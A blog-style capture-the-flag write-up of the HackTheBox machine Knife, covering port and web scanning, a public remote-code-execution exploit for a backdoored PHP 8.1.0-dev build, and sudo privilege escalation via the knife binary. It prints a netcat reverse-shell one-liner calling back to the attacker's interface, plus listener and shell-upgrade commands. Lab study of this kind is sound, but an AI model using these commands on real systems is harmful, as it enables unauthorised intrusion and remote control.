Writeup: HackTheBox Knife - Without Metasploit (OSCP Prep)
Tags: php, webdev, cybersecurity, hackthebox
Published: 2021-10-28 19:13:21

Hello all, Apologies for the extreme delay. But I decided to take a mini break to get some more understanding of Priv Esc with Windows and Linux.

This week I decided to hit Knife from **Hackthebox**.

Let's take it away now!

##Command:
**nmap -sC -sV -T4 -p- -oN nmap.txt 10.10.10.242**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0zes9fo0h8hckhw4neav.PNG)

#PortOpen:
1. 22 OpenSSH 8.2p1 Ubuntu
2. 80 Apache HttpD 2.4.41

First things first, I am going to head over to the website.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uawyf386nikmr3mz3hso.PNG)

Nothing too interesting here, I clicked around a bit but I was not able to get to any other pages from the landing page.

I am going to run *Dirb* while I continue to investigate this.

##Command:
**dirb http://10.10.10.242/ -o Dirb**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a4qta7zmp8gtyshhi7r3.PNG)

The *index.php* brings up the main landing page again and the *server-status* brings up an error page. 

But one thing we know now but didn't before. We can see that we are dealing with a *PHP* site.

I am going to try another service to see if we can get any useful information. Let's fire up *Nikto*, which is a free command-line vuln scanner that scans webservers for dangerous files/CGIs, outdated software and other problems.

##Command:
**nikto -h 10.10.10.242**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5nrh3ijwy1jidbft8qc8.PNG)

Scrolling down we can see that the header is **PHP/8.1.0-Dev**.

Let's also run *Curl* to investigate the site.

##Command:
**curl http://10.10.10.242 -v**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hlatjxeya0ng7wdf50rj.PNG)

We can see here that *PHP* is shown again.

I am going to do some more research on this and head over to Google.

The first entry is for a RCE!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ckldz89w2r9e5b32kakz.PNG)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5l0sg42fyjdzo99qe841.PNG)

Download this and move it into your file path. Run the *pwd* command to make sure you are moving it to the right location.

##Command:
**mv /home/huey/Desktop /home/huey/Documents/HTB/Knife/49933.py**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuhzaayyysqjc3it7boq.PNG)

##Command:
**python3 49933.py**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0l0jzbwmy7phm7sfipyu.PNG)

##Command:
**sudo -l**

We can see that **NOPASSWD: /usr/bin/knife**, which might have an entry in gtfobins.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ae0i4dbnf7hdhorw1sej.PNG)

Let's get a better shell first though.

##Command:
**rm /tmp/f;mkfifo /tmp/f;cat /tmp/f/|/bin/sh -i 2>&1|nc tun0 1234 >/tmp/f**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jcq15fbb7ipji9394e3m.PNG)

##Command:
**nc -nvlp 1234**
**python3 -c 'import pty;pty.spawn("/bin/bash")'**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uym5d53vwr2dqrfj48pa.PNG)

Now head over to Gtfobins and search *Knife*.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h1fotq15bqb318tg3hu1.PNG)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9e9b7x5z5831xrykd86t.PNG)